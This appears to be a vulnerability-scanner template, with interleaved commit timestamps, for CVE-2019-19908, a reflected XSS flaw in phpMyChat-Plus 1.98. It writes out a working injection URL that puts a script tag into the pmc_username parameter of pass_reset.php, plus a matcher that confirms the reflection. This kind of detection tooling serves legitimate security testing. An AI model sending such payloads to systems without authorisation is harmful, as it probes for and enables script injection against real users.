2021-01-02 04:59:06 +00:00
id : CVE-2019-19908
2020-04-08 13:04:46 +00:00
info :
name : phpMyChat-Plus XSS
author : madrobot
2020-05-25 07:49:06 +00:00
severity : medium
2021-03-30 12:10:17 +00:00
description : phpMyChat-Plus 1.98 is vulnerable to reflected XSS via JavaScript injection into the password reset URL. In the URL, the pmc_username parameter to pass_reset.php is vulnerable.
reference : https://cinzinga.github.io/CVE-2019-19908/
2021-02-05 19:44:41 +00:00
tags : cve,cve2019,xss
2020-04-08 13:04:46 +00:00
requests :
- method : GET
path :
2020-04-09 20:21:15 +00:00
- "{{BaseURL}}/plus/pass_reset.php?L=english&pmc_username=%22%3E%3Cscript%3Ealert(1337)%3C/script%3E%3C"
2020-07-08 11:38:57 +00:00
matchers-condition : and
2020-04-08 13:04:46 +00:00
matchers :
- type : status
status :
2020-05-25 07:49:06 +00:00
- 200
2020-04-08 13:20:50 +00:00
- type : word
2020-04-08 13:24:57 +00:00
words :
2020-05-25 07:49:06 +00:00
- "<script>alert(1337)</script>"
2020-04-08 13:04:46 +00:00
part : body
